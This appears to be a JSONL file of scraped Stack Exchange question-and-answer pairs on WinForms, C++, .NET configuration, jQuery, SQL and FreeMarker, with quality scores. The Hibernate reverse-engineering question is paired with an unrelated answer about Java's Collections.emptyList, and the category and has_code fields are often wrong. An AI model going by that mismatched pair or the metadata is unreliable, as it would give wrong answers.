{"id": "hf_b6dfd53f4255", "question": "<p>With WinForms, I can use <code>Control.Scale</code> to scale a control larger.  When I do that, all child controls are repositioned and scaled correctly, but font size remains the same.</p>\n\n<p>Is there an easy way to force font to scale up/down, or is the only way to manually update font for all controls when control is being scaled?</p>\n\n<p>Background:  I'm working on a program in which I need to support zoom in/out to make labels, textboxs, etc. more readable for users with poor eyesight.</p>\n", "question_body": "", "answer": "Do it the other way around.  Change the font size, the controls will automatically scale to accommodate the larger font.  For example:\n```\n```\npublic partial class Form1 : Form {\n    float mDesignSize;\n    int mIncrement;\n    public Form1() {\n      InitializeComponent();\n      mDesignSize = this.Font.SizeInPoints;\n    }\n    private void adjustFont() {\n      float size = mDesignSize * (1 + mIncrement / 7f);\n      this.Font = new Font(this.Font.FontFamily, size);\n    }\n    private void btnIncreaseFontSize_Click(object sender, EventArgs e) {\n      mIncrement += 1;\n      adjustFont();\n    }\n    private void btnDecreateFontSize_Click(object sender, EventArgs e) {\n      mIncrement -= 1;\n      adjustFont();\n    }\n  }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.493466"}
{"id": "hf_0cd9feaea9b7", "question": "<p>I'm trying to figure out how to write this function:</p>\n\n<pre><code>template &lt;typename Bound&gt;\nBound::result_type callFromAnyList(Bound b, list&lt;any&gt; p)\n{\n}\n</code></pre>\n\n<p>Then, if I had some function:</p>\n\n<pre><code>double myFunc(string s, int i)\n{\n    return -3.0;\n}\n</code></pre>\n\n<p>I could call it by doing something like this:</p>\n\n<pre><code>list&lt;any&gt; p;\np.push_back((string)\"Hello\");\np.push_back(7);\ndouble result = callFromAnyList(bind(myFunc, _1, _2), p);\n</code></pre>\n\n<p>Is it possible to write something like my <code>callFromAnyList</code> function?  Can you inspect the result type and the parameter types from the type returned from <code>bind</code>?  And then call <code>any_cast&lt;P1&gt;(*p.begin())</code>, etc?  I've tried to understand the bind code, but it's a little hard to follow, and it doesn't appear as though they wrote it with inspection in mind.</p>\n", "question_body": "", "answer": "As you updated your concerns in the comment sections, here the answer. Just getting the return type of a function is possible:\n```\n```\ntemplate<typename>\nstruct return_of;\n\ntemplate<typename R>\nstruct return_of<R(*)()> {\n    typedef R type;\n};\n\ntemplate<typename R, typename P1>\nstruct return_of<R(*)(P1)> {\n    typedef R type;\n    typedef P1 parameter_1;\n};\n\nvoid foo(int);\n\ntemplate<typename Func>\ntypename return_of<Func>::parameter_1 bar(Func f) {\n    return 42;\n}\n\n// call: bar(foo);\n```\n```\nI guess you see what this comes down to :) You can use boost function types which already has solved it:\nhttp://www.boost.org/doc/libs/1_37_0/libs/function_types/doc/html/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.528870"}
{"id": "hf_0e39d3013a55", "question": "<p>I recently started building a console version of a web application. I copied my custom sections from my web.config. to my app.config. When I go to get config information i get this error:</p>\n\n<p>An error occurred creating the configuration section handler for x/y: Could not load type 'x' from assembly 'System.Configuration</p>\n\n<p>The line that it is not liking is:</p>\n\n<p>return ConfigurationManager.GetSection(\"X/Y\") as Z;</p>\n\n<p>Anyone run into something like this?</p>\n\n<p>I was able to add </p>\n\n<pre><code>&lt;add key=\"IsReadable\" value=\"0\"/&gt; \n</code></pre>\n\n<p>in the appSettings and read it.</p>\n\n<p>Addition:</p>\n\n<p>I do actually have this defined about the custom section:</p>\n\n<pre><code>  &lt;configSections&gt;\n    &lt;sectionGroup name=\"x\"&gt;\n      &lt;section name=\"y\" type=\"zzzzz\"/&gt;\n    &lt;/sectionGroup&gt;\n\n  &lt;/configSections&gt;\n</code></pre>\n", "question_body": "", "answer": "it sounds like your config-section handler is not defined\n```\n```\n<configSection>\n    <section\n            name=\"YOUR_CLASS_NAME_HERE\"\n            type=\"YOUR.NAMESPACE.CLASSNAME, YOUR.NAMESPACE, Version=1.1.0.0, Culture=neutral, PublicKeyToken=PUBLIC_TOKEN_ID_FROM_ASSEMBLY\"\n            allowLocation=\"true\"\n            allowDefinition=\"Everywhere\"\n          />\n</configSection>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.564663"}
{"id": "hf_6134fd7b3978", "question": "<p>Is it possible to have a file belong to multiple subpackages? For example:</p>\n\n<pre><code>/**\n * Name\n *\n * Desc\n *\n * @package    Core\n * @subpackage  Sub1\n * @subpackage  Sub2\n */\n</code></pre>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It appears that PHPDoc does not allow you to do it for namespacing reasons. From the\nPHPDoc Docs\n:\nNOTE: The @subpackage tag is intended to help categorize the elements that are in an actual @package value. Since PHP itself doesn't allow you to have two functions with the same name in the same script, PhpDocumentor also requires all names in an @package to be unique... meaning, @subpackage does not allow further \"naming separation\" inside that @package. What it does do is allow a level of visual grouping/separation of the elements inside that @package.\nIt seems that because PHPDoc's @package is a way to pseudo-namespace your functions and classes, but @subpackage is simply for categorization. Have you tried adding more than one subpackage? If so, what were the results?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.588011"}
{"id": "hf_c905ad0e720c", "question": "<p>I have a layout similar to this:</p>\n\n<pre><code>&lt;div id=\"...\"&gt;&lt;img src=\"...\"&gt;&lt;/div&gt;\n</code></pre>\n\n<p>and would like to use a jQuery selector to select the child <code>img</code> inside the <code>div</code> on click.</p>\n\n<p>To get the <code>div</code>, I've got this selector:</p>\n\n<pre><code>$(this)\n</code></pre>\n\n<p>How can I get the child <code>img</code> using a selector?</p>\n", "question_body": "", "answer": "Try this code:\n```\n```\n$(this).children()[0]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.623067"}
{"id": "hf_e8913c1c7627", "question": "<p>I am trying to deserialize a stream but I always get this error \"End of Stream encountered before parsing was completed\"?</p>\n\n<p>Here is the code:</p>\n\n<pre><code>        //Some code here\n        BinaryFormatter b = new BinaryFormatter();\n        return (myObject)b.Deserialize(s);//s---&gt; is a Stream object that has been fill up with data some line over here\n</code></pre>\n\n<p>Any one have ideas?</p>\n", "question_body": "", "answer": "Try to set the position to 0 of your stream and do not use your object but the object type.\n```\n```\nBinaryFormatter b = new BinaryFormatter();\n        s.Position = 0;\n        return (YourObjectType)b.Deserialize(s);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.670151"}
{"id": "hf_51212a568238", "question": "<p>I'm just getting into unit testing, and have written some short tests to check if function called isPrime() works correctly.</p>\n\n<p>I've got a test that checks that the function works, and have some test data in the form of some numbers and the expected return value.</p>\n\n<p>How many should I test? How do I decide on which to test? What's the best-practices here?</p>\n\n<p>One approach would be to generate 1000 primes, then loop through them all, another would be to just select 4 or 5 and test them. What's the correct thing to do?</p>\n", "question_body": "", "answer": "Ask yourself. What EXACTLY do I want to test. And test the most important. Test to make sure it basically does what you are expecting it to do in the expected cases.\nTesting all those nulls and edge-cases - I - don't think is real, too time consuming and someone needs to maintain that later! \nAnd...your test code should be simple enough so that you do not need to test your test code!\nIf you want to check that your function correctly applied the algorithm and works in general - probably will be enough some primes.\nIf you want prove that the method for finding primes is CORRECT - 100000 primes will not be enough :)\nBut you don't want to test the latter (probably)...\nOnly you know what you want to test! :)\nPS I thnik using loops in unit tests is not always wrong but I would think twice before doing that. Test code should be VERY simple. What if something goes wrong and there is a bug in your test???? :)\nHowever, you should try to avoid test code duplication as regular code duplication. Someone has to maintain test code.\nPEOPLE PLEASE COMMENT WHY YOU THINK THIS WAS WORTH TWO DOWNVOTES :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.706164"}
{"id": "hf_09dfd4e60f08", "question": "<p>I need to create some functionality in our SharePoint app that populates a list or lists with some simple hierarchical data.  Each parent record will represent a \"submission\" and each child record will be a \"submission item.\"  There's a 1-to-n relationship between submissions and submission items.  Is this practical to do in SharePoint?  The only types of list relationships I've done so far are lookup columns, but this seems a bit different.  Also, once such a list relationship is established, then what's the best way to create views on this kind of data.  I'm almost convinced that it'd be easier just to write this stuff to an external database, but I'd like to give SharePoint a shot in order to take advantage of the automated search capabilities.</p>\n", "question_body": "", "answer": "Do it in a separate database, create a page(s) with controls that surfaces the data and run search over that. Loses quite a bit of the SharePoint features though.\nOtherwise it may be okay to create a custom field control that will allow you to lookup the data in the other list. \nThe custom field control can be the one to \"view\" the related data.\nI know we have done it for parent child relationships between pages on the same list. Not 1-to-N though.\nTough choice either way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.741710"}
{"id": "hf_1a7de7c2682b", "question": "<p>I am implementing a validation class in classic ASP. How should the validation class interface with my other classes? </p>\n\n<p>My current setup:\nThe User class's set methods call the appropriate validation method in the validation class. Any errors that occur are stored in User.mError. For example, here's my set method for the Email member variable in ASP Classic:</p>\n\n<pre><code>Class User\n  Property Let Email(EmailInput)\n     If (myValidation.isEmail(EmailInput)) then\n        mEmail = EmailInput\n     Else\n        mError = \"Invalid Email Address format.\"\n     End If\n</code></pre>\n\n<p>I don't like how I'm going to need an error member variable for every object that calls my validation class. Suggestions on a better setup?</p>\n\n<p>Any suggestions for a validation architecture I should review as a benchmark?</p>\n", "question_body": "", "answer": "I would suggest looking at Validator related classes provided by .net framework.\nIn your case, you can have a Validator Class (EmailValidator to be specific), which could have a method named Validate which takes a string, returns a boolean\nYou could also pass ErrorMessage as one of the parameters of the Validate function\ne.g.\n```\n```\nPsuedo Code.\n\nclass EmailValidator\n...\nfunction Validate(byval EmailAddress as string, optional byval Result as string) as boolean)\n..\nif (condition success)\nresult = success\nelseif (emailafddress doesnt have @)\nresult = \"invalid email address. missing @\"\nendif\nend function\nend class\n```\n```\nYou can take error message out, if you want to have control over it.\nI invite fellow SO guys to suggest any shortcomings in this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.765388"}
{"id": "hf_404eb4a8e221", "question": "<p>How can I retrieve raw time-series data from a Proficy Historian/iHistorian?</p>\n\n<p>Ideally, I would ask for data for a particular tag between two dates.</p>\n", "question_body": "", "answer": "A coworker of mine put this together:\nIn web.config:\n```\n```\n<add name=\"HistorianConnectionString\" \n     providerName=\"ihOLEDB.iHistorian.1\" \n     connectionString=\"\n       Provider=ihOLEDB.iHistorian;\n       User Id=;\n       Password=;\n       Data Source=localhost;\"\n/>\n```\n```\nIn the data layer:\n```\n```\npublic DataTable GetProficyData(string tagName, DateTime startDate, DateTime endDate)\n{\n    using (System.Data.OleDb.OleDbConnection cn = new System.Data.OleDb.OleDbConnection())\n    {\n        cn.ConnectionString = webConfig.ConnectionStrings.ConnectionStrings[\"HistorianConnectionString\"];\n        cn.Open();\n\n        string queryString = string.Format(\n                \"set samplingmode = rawbytime\\n select value as theValue,Timestamp from ihrawdata where tagname = '{0}' AND timestamp between '{1}' and '{2}' and value > 0 order by timestamp\",\n                tagName.Replace(\"'\", \"\\\"\"), startDate, endDate);\n\n        System.Data.OleDb.OleDbDataAdapter adp = new System.Data.OleDb.OleDbDataAdapter(queryString, cn);\n        DataSet ds = new DataSet();\n\n        adp.Fill(ds);\n        return ds.Tables[0];\n    }\n}\n```\n```\nUpdate:\nThis worked well but we ran into an issue with tags that don't update very often. If the tag didn't update near the start or end of the requested startDate and endDate, the trends would look bad. Worse, still were cases where there were no explicit points during the window requested--we'd get no data back.\nI resolved this by making three queries:\nThe previous value\nbefore\nthe start-date\nThe points between startDate and endDate\nThe next value\nafter\nthe endDate\nThis is a potentially inefficient way to do it but It Works:\n```\n```\npublic DataTable GetProficyData(string tagName, DateTime startDate, DateTime endDate)\n{\n    DataSet ds = new DataSet();\n    string queryString;\n    System.Data.OleDb.OleDbDataAdapter adp;\n\n    using (System.Data.OleDb.OleDbConnection cn = new System.Data.OleDb.OleDbConnection())\n    {\n        cn.ConnectionString = proficyConn.ConnectionString;\n        cn.Open();\n\n        // always get a start value\n        queryString = string.Format(\n             \"set samplingmode = lab\\nselect value as theValue,Timestamp from ihrawdata where tagname = '{0}' AND timestamp between '{1}' and '{2}' order by timestamp\",\n            tagName.Replace(\"'\", \"\\\"\"), startDate.AddMinutes(-1), startDate);\n        adp = new System.Data.OleDb.OleDbDataAdapter(queryString, cn);\n        adp.Fill(ds);\n\n        // get the range\n        queryString = string.Format(\n             \"set samplingmode = rawbytime\\nselect value as theValue,Timestamp from ihrawdata where tagname = '{0}' AND timestamp between '{1}' and '{2}' order by timestamp\",\n            tagName.Replace(\"'\", \"\\\"\"), startDate, endDate);\n        adp = new System.Data.OleDb.OleDbDataAdapter(queryString, cn);\n        adp.Fill(ds);\n\n        // always get an end value\n        queryString = string.Format(\n             \"set samplingmode = lab\\nselect value as theValue,Timestamp from ihrawdata where tagname = '{0}' AND timestamp between '{1}' and '{2}' order by timestamp\",\n        tagName.Replace(\"'\", \"\\\"\"), endDate.AddMinutes(-1), endDate);\n        adp = new System.Data.OleDb.OleDbDataAdapter(queryString, cn);\n        adp.Fill(ds);\n\n        return ds.Tables[0];\n    }\n}\n```\n```\nAnd yes, I know, those queries should be parameterized.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.789319"}
{"id": "hf_acd6c766f15b", "question": "<p>I always have this notion that writing SQL queries in the code behind is not good compared to writing it using a SqlDataSource</p>\n\n<pre><code>SqlDataAdapter ad = new SqlDataAdapter(\"SELECT * FROM Categories\", myConnection);\n\nDataSet ds = new DataSet();\n\nad.Fill(ds, \"Categories\");\n\nmyGridView.DataSource = ds;\n\nmyGridView.DataBind();\n</code></pre>\n\n<p>vs.</p>\n\n<pre><code>&lt;asp:SqlDataSource ID=\"SqlDataSource1\" runat=\"server\"\n  ConnectionString=\"&lt;%$ ConnectionStrings:myConnection %&gt;\"\n  SelectCommand=\"SELECT * FROM Categories\" /&gt;\n</code></pre>\n\n<p>I feel using SqlDataSource is secure, easy to maintain.\nIs my concern true? Please justify.</p>\n", "question_body": "", "answer": "I wouldn't write SQL queries in code behind full stop. How about a data access layer?\nWhat happens if you want to change your backing store? You're going to have to re-write all your code-behind.\nWhat happens where you need to use the data in more than one place? You duplicate code.\nYou need think seriously about how you're architecting your solution before writing SQL queries in your code behind. Think about separation and maintainability long before you question the 'security' of SqlDataSource objects. Seriously.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.819202"}
{"id": "hf_223daf8ceb5a", "question": "<p>If a line of text is wrapped to an additional line, how do I determine programmatically the point in the string where it was broken.</p>\n\n<p>Example: Input string = \"This is a test of a wrapped line of text\".</p>\n\n<pre><code>      Based on the width of the richTextBox it could display:\n\n\n            This is a test of a wrapped line of\n            text.\n</code></pre>\n\n<p>What I need to determine is offset in the line of the word(s) that got wrapped. In the above case the word \"text\".</p>\n\n<p>When I extract the Xaml from the richTextBox, I get the original text unwrapped.</p>\n\n<p>Thanks,</p>\n\n<p>Bob Kerlinger</p>\n", "question_body": "", "answer": "The trick I found uses the TextPointer class and its GetCharacterRec method.\nRichTextBox holds a FlowDocument. Text in flow documents is contained in a Run object (bit of a simplification, but it works). The code finds the TextPointer at the start of the first Run. It then gets the bounding rectangle of that first character. Next the code walks forward one character at a time, gets a new bounding rectangle and checks if the bottom of the new rectangle is different from the original rectangle. If the bottom is different then we are on a new line. TextPointer can then get the text either before or after the break.\n```\n```\npublic partial class Window1 : Window\n{\n    public Window1()\n    {\n        InitializeComponent();\n    }\n\n    private void inspect(object sender, RoutedEventArgs e)\n    {\n        TextPointer pointer = FindRun(inBox.Document);\n\n        string textAfterBreak = FindBreak(pointer);\n\n        outBox.Text = textAfterBreak;\n    }\n\n    private string FindBreak(TextPointer pointer)\n    {\n        Rect rectAtStart = pointer.GetCharacterRect(LogicalDirection.Forward);\n\n        pointer = pointer.GetNextInsertionPosition(LogicalDirection.Forward);\n        Rect currentRect = pointer.GetCharacterRect(LogicalDirection.Forward);\n\n        while (currentRect.Bottom == rectAtStart.Bottom)\n        {\n            pointer = pointer.GetNextInsertionPosition(LogicalDirection.Forward);\n            currentRect = pointer.GetCharacterRect(LogicalDirection.Forward);\n        }\n\n        string textBeforeBreak = pointer.GetTextInRun(LogicalDirection.Backward);\n        string textAfterBreak = pointer.GetTextInRun(LogicalDirection.Forward);\n\n        return textAfterBreak;\n    }\n\n    private TextPointer FindRun(FlowDocument document)\n    {\n        TextPointer position = document.ContentStart;\n\n        while (position != null)\n        {\n            if (position.Parent is Run)\n                break;\n\n            position = position.GetNextContextPosition(LogicalDirection.Forward);\n        }\n\n        return position;\n    }\n}\n\n<Window x:Class=\"LineBreaker.Window1\"\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\n    Title=\"Window1\" Height=\"300\" Width=\"300\">\n    <Grid>\n        <Grid.RowDefinitions>\n            <RowDefinition></RowDefinition>\n            <RowDefinition></RowDefinition>\n            <RowDefinition></RowDefinition>\n        </Grid.RowDefinitions>\n        <RichTextBox Grid.Row=\"0\" Name=\"inBox\">\n        </RichTextBox>\n        <Button Grid.Row=\"1\" Click=\"inspect\">Find Break</Button>\n        <TextBox Name=\"outBox\" Grid.Row=\"2\"/>\n    </Grid>\n</Window>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.890414"}
{"id": "hf_4b7580464ffb", "question": "<p>I have this application installed on my Macbook Pro that allows me to disable a core on my CPU. It got me wondering: How does disabling a core affect the running processes?</p>\n\n<p>I am also interested if disabling a core has an affect on the following</p>\n\n<ul>\n<li>Battery Life</li>\n<li>Heat generation</li>\n<li>Increased performance when the processor would normally be using less than 40% of both cores?</li>\n</ul>\n", "question_body": "", "answer": "I don't know about power consumption, but I expect you would save some margin.  This depends upon the percentage of power used within the MBP by the CPU.\nAs for impact on raw processing power, it depends upon the nature of the applications you're running.  Most applications aren't designed to utilise multiple cores, although most top-end apps are.  So, if you're using Photoshop or video editing software then you'll notice a significant peak performance reduction in cases where the performance bottleneck is the CPU (and not network IO or disk IO).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.926854"}
{"id": "hf_73184f6340ce", "question": "<p>I have a table in my MYSQL database which does not have a primary key, but has a unique key on two columns.  When using MyEclipse's Hibernate reverse engineer tool to create a mapping for that table, it generates two classes, one for named after the table itself, and one with an \"Id\" suffix.  It seems most of the useful methods ended up in the Id class, so it seems that is the one you would instantiate and save to persist data.  I can appreciate the fact that the Id class is created in order to represent a unique row in the table / mapped object, but what is the use of splitting out this into two classes, and what, then is the use of the non-Id-suffixed class?</p>\n\n<p>My colleague argues you can accomplish the same with just one class and scoffs at using the reverse engineering for these tables which don't have a primary key.  I, on the other hand, assume MyEclipse developers are much smarter than me and that there is a really good reason to do it this way.  Is there?</p>\n", "question_body": "", "answer": "You want to use:\n```\n```\nCollections.<String>emptyList();\n```\n```\nIf you look at the source for what emptyList does you see that it actually just does a\n```\n```\nreturn (List<T>)EMPTY_LIST;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:06.974771"}
{"id": "hf_20e444dff11d", "question": "<p>I have a Freemarker template which contains a bunch of placeholders for which values are supplied when the template is processed. I want to conditionally include part of the template if the userName variable is supplied, something like:</p>\n\n<pre><code>[#if_exists userName]\n  Hi ${userName}, How are you?\n[/#if_exists]\n</code></pre>\n\n<p>However, the FreeMarker manual seems to indicate that if_exists is deprecated, but I can't find another way to achieve this. Of course, I could simple providing an additional boolean variable isUserName and use that like this:</p>\n\n<pre><code>[#if isUserName]\n  Hi ${userName}, How are you?\n[/#if]\n</code></pre>\n\n<p>But if there's a way of checking whether userName exists then I can avoid adding this extra variable.</p>\n", "question_body": "", "answer": "To check if the value exists:\n```\n```\n[#if userName??]\n   Hi ${userName}, How are you?\n[/#if]\n```\n```\nOr with the standard freemarker syntax:\n```\n```\n<#if userName??>\n   Hi ${userName}, How are you?\n</#if>\n```\n```\nTo check if the value exists and is not empty:\n```\n```\n<#if userName?has_content>\n    Hi ${userName}, How are you?\n</#if>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.004727"}
{"id": "hf_23d5c22ed969", "question": "<p>What is the most efficient way to detect duplicates in a 10 column / 50K row table? I'm using MSSQL 8.0</p>\n", "question_body": "", "answer": "You can use\n```\ngroup by\n```\non all columns and then\n```\ncount(*)>1\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.028761"}
{"id": "hf_a7f85dc29f32", "question": "<p>How do I check if the timestamp date of a record is before midnight today?</p>\n\n<p>datediff is driving me nuts...</p>\n", "question_body": "", "answer": "Try:\n```\n```\nWHERE dtColumn < DATEADD(dd, 0, DATEDIFF(dd, 0, GETDATE()))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.089390"}
{"id": "hf_b7fb9cc51965", "question": "<p>Is there a way to reuse a 3rd party control reference?</p>\n\n<p>For example, I have this referenced in my App.xaml</p>\n\n<pre><code>xmlns:cust=\"clr-namespace:ThirdParty.Controls;assembly=ThirdParty.Controls\"\n</code></pre>\n\n<p>I don't want to repeat this 3rd party control xml namespace on each page/control that needs a control from the library.  </p>\n\n<p>Is there anyway to centralize these references and use the prefix defined here? The possibility of each control having a different prefix is also worrisome.  In asp.net you would put a reference in the web.config and it was available globally, I'm just looking to see if there is a similar method in WPF.</p>\n", "question_body": "", "answer": "Two options I am thinking\n1) Wrap that control into a UserControl and then use your UserControl in all the places.\n2) Declare the third party control as a Resource somewhere and then use DynamicResource reference to that on your other places.\nThe second option can be implemented as bellow.\nWhere ever you want the third party control put a ContentControl like bellow\n```\n```\n<ContentControl Template=\"{DynamicResource thirdPartyControlTemplate}\" />\n```\n```\nThe ControlTemplate will be in the Resource file or at App.Xaml as bellow.\n```\n```\nxmlns:thridParty=\"clr-namespace:WpfCustomControlLibrary1;assembly=WpfCustomControlLibrary1\"                >\n<Application.Resources>\n    <ControlTemplate x:Key=\"thirdPartyControlTemplate\" TargetType=\"{x:Type ContentControl}\">\n        <thridParty:ThirdPartyControl />\n    </ControlTemplate>\n</Application.Resources>\n```\n```\nYou can see that the namespace declaration will be always on this resource file and you will be able to use that Control control from any place", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.150561"}
{"id": "hf_e3cd5f066d1f", "question": "<p>A table exists that someone else loaded.  I need to query against the table, but the lack of indexes makes the query plan abysmal.  What I would like to do is detect if there is an index for a particular column, so that I can created it if it does not exist, and not create it if it is already there.</p>\n\n<p>Thanks.</p>\n\n<p>Evil</p>\n", "question_body": "", "answer": "Become familiar with querying the SYS schema:\n```\n```\nSelect * from sys.all_ind_columns where table_name=:TabName and table_owner=:TabOwner;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.268146"}
{"id": "hf_3b3bb2d0b98f", "question": "<p>I wanted to deserialize an XML message containing an element that can be marked <code>nil=\"true\"</code> into a class with a property of type <code>int?</code>. The only way I could get it to work was to write my own <code>NullableInt</code> type which implements <code>IXmlSerializable</code>. Is there a better way to do it?</p>\n\n<p>I wrote up the full problem and the way I solved it <a href=\"http://alexscordellis.blogspot.com/2008/11/using-xmlserializer-to-deserialize-into.html\" rel=\"nofollow noreferrer\">on my blog</a>.</p>\n", "question_body": "", "answer": "I think you need to prefix the nil=\"true\" with a namespace in order for XmlSerializer to deserialise to null.\nMSDN on xsi:nil\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<entities xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"array\">\n  <entity>\n    <id xsi:type=\"integer\">1</id>\n    <name>Foo</name>\n    <parent-id xsi:type=\"integer\" xsi:nil=\"true\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.296124"}
{"id": "hf_68594c43cd2d", "question": "<p>Is it possible to use EventListener to Listen to a variable and detect when the value of that variable changes? Thanks.</p>\n", "question_body": "", "answer": "You used to be able to do something similar in AS2 using Object.watch.  I don't see a direct equivalent, but it looks like\nmx.binding.utils.ChangeWatcher\nwill give you similar functionality for any variables that are bindable.\nI don't know of a way to do it in AS3 for non-bindable variables, but if the variable you want to watch is bindable (or if you can modify it to be binadable) then ChangeWatcher might give you what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.344446"}
{"id": "hf_e13184ec740e", "question": "<p>When I run a wxPython application, it prints the string &ldquo;Redirecting output to win32trace remote collector&rdquo;and I must open PythonWin's trace collector tool to view that trace output.</p>\n\n<p>Since I'm not interested in collecting this output, how should I disable this feature?</p>\n", "question_body": "", "answer": "This message deceived me into thinking win32trace was preventing me from seeing uncaught exceptions in the regular console (of my IDE). The real issue was that wxPython by default redirects stdout/stderr to a popup window that quickly disappeared after an uncaught exception. To solve\nthat\nproblem, I simply had to pass\n```\nredirect=0\n```\nto the superclass constructor of my application.\n```\n```\nclass MyApp(wx.App):\n    def __init__(self):\n        # Prevent wxPython from redirecting stdout/stderr:\n        super(MyApp, self).__init__(redirect=0)\n```\n```\nThat fix notwithstanding, I am still curious about how to control win32trace.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:07.368764"}
